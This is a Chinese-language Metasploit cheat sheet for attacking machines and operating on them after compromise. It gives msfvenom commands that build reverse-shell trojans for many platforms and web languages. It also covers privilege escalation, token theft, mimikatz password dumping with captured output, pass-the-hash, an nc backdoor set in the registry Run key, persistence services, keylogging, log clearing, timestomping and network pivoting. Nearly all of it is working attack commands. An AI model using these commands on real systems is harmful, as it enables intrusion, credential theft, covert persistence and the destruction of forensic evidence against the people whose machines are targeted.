MSF基本使用
制作木马
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f exe > shell.exe
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f macho > shell.machoWeb Payloads
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f war > shell.war
Python
msfvenom -p cmd/unix/reverse_python LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f raw > shell.pl
监听端口
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.76.132
set LPORT 1111
exploit
信息收集
信息收集的脚本位于:
/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather
信息收集的脚本较多,仅列几个常用的:
run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取IE缓存
run post/windows/gather/enum_chrome #获取Chrome缓存
run post/windows/gather/enum_patches #补丁信息
run post/windows/gather/enum_domain #查找域控
权限维持
常用命令
sessions #sessions –h 查看帮助
sessions -i <ID值> #进入会话 -k 杀死会话
background #将当前会话放置后台
run #执行已有的模块,输入run后按两下tab,列出已有的脚本
info #查看已有模块信息
getuid # 查看权限
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息
ps # 查看当前活跃进程 kill <PID值> 杀死进程
idletime #查看目标机闲置时间
reboot / shutdown #重启/关机
shell #进入目标机cmd shell
webcam 摄像头命令
migrate 进程迁移
clearav 清除日志
execute执行文件
execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
timestomp伪造时间戳
timestomp C:// -h #查看帮助
timestomp -v C://2.txt #查看时间戳
timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt
提权
(提升当前用户的权限,Windows系统中最高权限为system。且只用system权限才能直接读取其他用户的用户名和密码)
getuid获得当前用户的权限信息
getuid
默认获取当前用户权限
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
getsystem提权
getsystem工作原理:
①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
③Windows服务已启动,导致与命名管道建立连接。
④该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。
meterpreter>getsystem got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
bypassuac
内置多个pypassuac脚本,原理有所不同,使用方法类似(相当于执行现在系统内的bypassuac脚本获得权限),运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:
meterpreter > background
[*] Backgrounding session 4...
msf5 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/local/bypassuac
[*] Using configured payload windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/bypassuac) > sessions -i
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ DAZHU-PC 192.168.17.74:4444 -> 192.168.17.72:3365 (192.168.17.72)
3 meterpreter x64/windows NT AUTHORITY\SYSTEM @ DAZHU-PC 192.168.17.74:4444 -> 192.168.17.72:4646 (192.168.17.72)
4 meterpreter x64/windows NT AUTHORITY\SYSTEM @ DAZHU-PC 192.168.17.74:4444 -> 192.168.17.72:4886 (192.168.17.72)
msf5 exploit(windows/local/bypassuac) > set sessions 2
sessions => 2
msf5 exploit(windows/local/bypassuac) > run
[-] Exploit failed: One or more options failed to validate: SESSION.(因为已经是最高权限,所以提权失败。)
[*] Exploit completed, but no session was created.
msf5 exploit(windows/local/bypassuac) >
内核漏洞提权
可先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权
meterpreter > run post/windows/gather/enum_patches #查看补丁信息
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit
返回后台运行会话
msf5 exploit(windows/local/bypassuac) > back
msf5 > sessions -i 2
[*] Starting interaction with 2...
meterpreter >
进一步操作
令牌操作
incognito假冒令牌
use incognito #help incognito 查看帮助
list_tokens -u #查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token
或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\
execute -f cmd.exe -i –t # -t 使用假冒的token 执行
或者直接shell
rev2self #返回原始token
steal_token窃取令牌
steal_token <pid值> #从指定进程中窃取token 先ps
drop_token #删除窃取的token
mimikatz抓取密码
获取密码后可能被用来在其他系统或者网站使用
load mimikatz #help mimikatz 查看帮助
wdigest #获取Wdigest密码
mimikatz_command -f samdump::hashes #执行mimikatz原始命令 直接读取哈希值
mimikatz_command -f sekurlsa::searchPasswords
meterpreter > load mimikatz
Loading extension mimikatz...[!] Loaded Mimikatz on a newer OS (Windows 7 (6.1 Build 7601, Service Pack 1).). Did you mean to 'load kiwi' instead?
Success.
meterpreter > wdigest
[+] Running as SYSTEM
[*] Retrieving wdigest credentials
wdigest credentials
===================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;951153 NTLM dazhu-PC Administrator
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;996 Negotiate WORKGROUP DAZHU-PC$
0;50607 NTLM
0;999 NTLM WORKGROUP DAZHU-PC$
0;103061 NTLM dazhu-PC vscan_tj vsacn_tj_1602719439_ll
meterpreter >
工具破解
ophcrack破解哈希值
挂载字典->导入文件->哈希利用->获取哈希
run post/windows/gather/smart_hashdump #从SAM导出密码哈希
#需要SYSTEM权限
PSExec哈希传递
通过smart_hashdump获取用户哈希后,可以利用psexec模块进行哈希传递攻击
前提条件:①开启445端口 smb服务;②开启admin$共享
msf > use exploit/windows/smb/psexec(使用psexec溢出攻击方式)
msf > set payload windows/meterpreter/reverse_tcp(设置reverse_tcp木马)
msf > set LHOST 192.168.159.134
msf > set LPORT 443
msf > set RHOSTS 192.168.159.144建立连接
msf >set SMBUser Administrator
msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c
msf >set SMBDomain WORKGROUP #域用户需要设置SMBDomain
msf >exploit
文件系统命令
基本文件系统命令
命令1.上传文件到受害者主机
简单来说,你可以上传本机的任意文件到远程目标主机中。
upload <file> <destination>
注意:使用-r参数可以递归上传上传目录和文件
meterpreter > upload //mnt//PcShare2.exe c:\\pcshare2.exe(上传)
[*] uploading : //mnt//PcShare2.exe -> c:\pcshare2.exe
[*] Uploaded 34.50 KiB of 34.50 KiB (100.0%): //mnt//PcShare2.exe -> c:\pcshare2.exe
[*] uploaded : //mnt//PcShare2.exe -> c:\pcshare2.exe
命令2.从windows主机下载文件
download命令可以下载远程主机上的文件
download <file> <path to save>
注意:Windows路径要使用双斜线
如果我们需要递归下载整个目录包括子目录和文件,我们可以使用download -r命令
格式与upload相同,文件路径先后相反
命令3.在目标主机上执行exe文件
我们也可以使用execute命令在目标主机上执行应用程序
execute -f <path> [options] (-f代表强制执行)
meterpreter > execute -f c:\\pcshare2.exe(执行远程桌面控制代码)
Process 9024 created.
命令4.执行(创建)新的cmd通道
如果你想在目标主机上执行命令提示符,你可以使用下列命令:
1、shell
2、
meterpreter > execute -f cmd -c
Process 9080 created.
Channel 1 created.
meterpreter >
开启rdp&添加用户
getgui命令
run getgui –h #查看帮助
run getgui -e #开启远程桌面
run getgui -u lltest2 -p 123456 #添加用户
run getgui -f 6661 –e #3389端口转发到6661
getgui 系统不推荐,推荐使用run post/windows/manage/enable_rdp
getgui添加用户时,有时虽然可以成功添加用户,但是没有权限通过远程桌面登陆
enable_rdp脚本
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=haha PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662
脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令
sniffer抓包
use sniffer
sniffer_interfaces #查看网卡
sniffer_start 2 #选择网卡 开始抓包
sniffer_stats 2 #查看状态
sniffer_dump 2 /tmp/lltest.pcap #导出pcap数据包
sniffer_stop 2 #停止抓包
注册表操作
注册表基本命令
reg –h
-d 注册表中值的数据. -k 注册表键路径 -v 注册表键名称
enumkey 枚举可获得的键 setval 设置键值 queryval 查询键值数据
注册表设置nc后门
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传nc
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #设置键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc #查看键值
nc -v 192.168.159.144 443 #攻击者连接nc后门
后门植入
metasploit自带的后门有两种方式启动的,一种是通过启动项启动(persistence),一种是通过服务启动(metsvc),另外还可以通过persistence_exe自定义后门文件。
persistence启动项后门
在C:Users*AppDataLocalTemp目录下,上传一个vbs脚本
在注册表HKLMSoftwareMicrosoftWindowsCurrentVersionRun加入开机启动项
run persistence –h #查看帮助
run persistence -X -i 5 -p 6661 -r 192.168.159.134
#-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip
连接后门
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 6661
msf > exploit
metsvc服务后门
在C:Users*AppDataLocalTemp上传了三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为meterpreter
run metsvc –h # 查看帮助
run metsvc –A #自动安装后门
连接后门
msf > use exploit/multi/handler
msf > set payload windows/metsvc_bind_tcp
msf > set RHOST 192.168.159.144
msf > set LPORT 31337
msf > exploit
扫描脚本
扫描的脚本位于:
/usr/share/metasploit-framework/modules/auxiliary/scanner/
扫描的脚本较多,仅列几个代表:
use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/jboss_vulnscan
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/oracle/oracle_login
远程桌面&截屏
enumdesktops #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
set_desktop #设置meterpreter关联的桌面 -h查看帮助
screenshot #截屏
use espia #或者使用espia模块截屏 然后输入screengrab
run vnc #使用vnc远程桌面连
meterpreter > getdesktop
Session 0\W\D
meterpreter > screenshot
Screenshot saved to: /root/yllvlUli.jpeg
meterpreter > run vnc
[*] Creating a VNC reverse tcp stager: LHOST=192.168.17.74 LPORT=4545
[*] Running payload handler
[*] VNC stager executable 73802 bytes long
[*] Uploaded the VNC agent to C:\Windows\TEMP\RwwuHn.exe (must be deleted m
[*] Executing the VNC agent with endpoint 192.168.17.74:4545...
meterpreter > Connected to RFB server, using protocol version 3.8
添加内网路由
获取主机网卡信息
run get_local_subnets
手动添加路由
#在全局给指定的session加
route add 192.168.11.0 255.255.255.0 1 #在session1中添加到达192.168.11.0网段的路由
route add 192.168.12.0 255.255.255.0 1 #在session1中添加到达192.168.12.0网段的路由
route add 0.0.0.0 0.0.0.0 1 #在session1中添加到达0.0.0.0/24网段的路由
route del 192.168.12.0 255.255.255.0 2 #在session2中删除到达192.168.12.0网段的路由
route print #打印路由信息
#也可以在进入session下添加路由
run autoroute -s 192.168.11.0/24 #添加到达192.168.11.0网段的路由
run autoroute -s 192.168.11.0/24 #添加到达192.168.12.0网段的路由
run autoroute -p #打印路由信息
在实际的内网渗透中,我们可以直接添加到 0.0.0.0/24的路由,这样,只要该被控主机可达的地址就都可达!
内网扫描
然后可以利用arp_scanner、portscan等进行扫描
run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389
添加代理
autoroute添加完路由后,还可以利用msf自带的sock4a模块进行Socks4a代理
msf> use auxiliary/server/socks4a
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run
然后vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080
最后proxychains 使用Socks4a代理访问
代理报错 需要注释掉proxy_dns
扫描脚本
扫描的脚本位于:
/usr/share/metasploit-framework/modules/auxiliary/scanner/
扫描的脚本较多,仅列几个代表:
use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/jboss_vulnscan
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/oracle/oracle_login
常用命令速查
sysinfo列出受控主机的系统信息。
ls列出目标主机的文件和文件夹信息。
use priv加载特权提升扩展模块,来扩展metasploit库。
ps显示所有运行的进程以及相关联的用户账户。
migrate PID 迁移到一个指定的进程ID(PID号可通过ps命令从主机上获得)。
use incognito加载incognito功能(用来盗窃目标主机的令牌或假冒用户)
list_tokens -u列出目标主机用户的可用令牌。
list_tokens -g列出目标主机用户组的可用令牌。
impersonate_token DOMAIN_NAMEUSERNAME.假冒目标主机上的可用令牌。
steal_token PID盗窃给定进程的可用令牌并进行令牌假冒。
drop_token停止假冒当前令牌。
getsystem通过各种攻击向量来提升系统用户权限。
execute -f cmd.exe -i执行cmd.exe命令并进行交互。
execute -f cmd.exe -i -t以所有可用令牌来执行cmd命令并隐藏该进程。
rev2self回到控制目标主机的初始用户账户下。
reg command在目标主机注册表中进行交互,创建,删除,查询等操作。
setdesktop number切换到另一个用户界面(该功能基于那些用户已登录)。
screenshot对目标主机的屏幕进行截图。
upload file向目标主机上传文件。
download file从目标主机下载文件。
keyscan_start针对远程目标主机开启键盘记录功能。
keyscan_dump存储目标主机上捕获的键盘记录。
keyscan_stop停止针对目标主机的键盘记录。
getprivs尽可能多的获取目标主机上的特权。
uictl enable keyboard/mouse接管目标主机的键盘和鼠标。
background将你当前的metasploit shell转为后台执行。
hashdump导出目标主机中的口令哈希值。
use sniffer加载嗅探模式。
sniffer_interfaces列出目标主机所有开放的网络端口。
sniffer_dump interfaceID pcapname在目标主机上启动嗅探。
sniffer_start interfaceID packet-buffer在目标主机上针对特定范围的数据包缓冲区启动嗅探。
sniffer_stats interfaceID获取正在实施嗅探网络接口的统计数据。
sniffer_stop interfaceID停止嗅探。
add_user username password -h ip在远程目标主机上添加一个用户。
clearev清楚目标主机上的日志记录。
timestomp修改文件属性,例如修改文件的创建时间(反取证调查)。
reboot重启目标主机。
show exploits列出metasploit框架中的所有渗透攻击模块。
show payloads列出metasploit框架中的所有攻击载荷。
show auxiliary列出metasploit框架中的所有辅助攻击载荷。
search name查找metasploit框架中所有的渗透攻击和其他模块。
info展示出制定渗透攻击或模块的相关信息。
use name装载一个渗透攻击或模块。
LHOST你本地可以让目标主机连接的IP地址,通常当目标主机不在同一个局域网内时,就需要是一个公共IP地址,特别为反弹式shell使用。
RHOST远程主机或是目标主机。
set function设置特定的配置参数(EG:设置本地或远程主机参数)。
setg function以全局方式设置特定的配置参数(EG:设置本地或远程主机参数)。
show options列出某个渗透攻击或模块中所有的配置参数。
show targets列出渗透攻击所有支持的目标平台。
set target num指定你所知道的目标的操作系统以及补丁版本类型。
set payload name指定想要使用的攻击载荷。
show advanced列出所有高级配置选项。
set autorunscript migrate -f.在渗透攻击完成后,将自动迁移到另一个进程。
check检测目标是否选定渗透攻击存在相应的安全漏洞。
exploit执行渗透攻击或模块来攻击目标。
exploit -j在计划任务下进行渗透攻击(攻击将在后台进行)。
exploit -z渗透攻击完成后不与回话进行交互。
exploit -e encoder制定使用的攻击载荷编码方式(EG:exploit -e shikata_ga_nai)。
exploit -h列出exploit命令的帮助信息。
sessions -l列出可用的交互会话(在处理多个shell时使用)。
sessions -l -v列出所有可用的交互会话以及详细信息,EG:攻击系统时使用了哪个安全漏洞。
sessions -s script在所有活跃的metasploit会话中运行一个特定的metasploit脚本。
sessions -K杀死所有活跃的交互会话。
sessions -c cmd在所有活跃的metasploit会话上执行一个命令。
sessions -u sessionI升级一个普通的win32 shell到metasploit shell。
db_create name创建一个数据库驱动攻击所要使用的数据库(EG:db_create autopwn)。
db_connect name创建并连接一个数据库驱动攻击所要使用的数据库(EG:db_connect user:passwd@ip/sqlname)。
db_namp利用nmap并把扫描数据存储到数据库中(支持普通的nmap语句,EG:-sT -v -P0)。
db_autopwn -h展示出db_autopwn命令的帮助信息。
db_autopwn -p -r -e对所有发现的开放端口执行db_autopwn,攻击所有系统,并使用一个反弹式shell。
db_destroy删除当前数据库。
db_destroy user:passwd@host:port/database使用高级选项来删除数据库。
help打开meterpreter使用帮助。
run scriptname运行meterpreter脚本,在scripts/meterpreter目录下可查看到所有脚本名。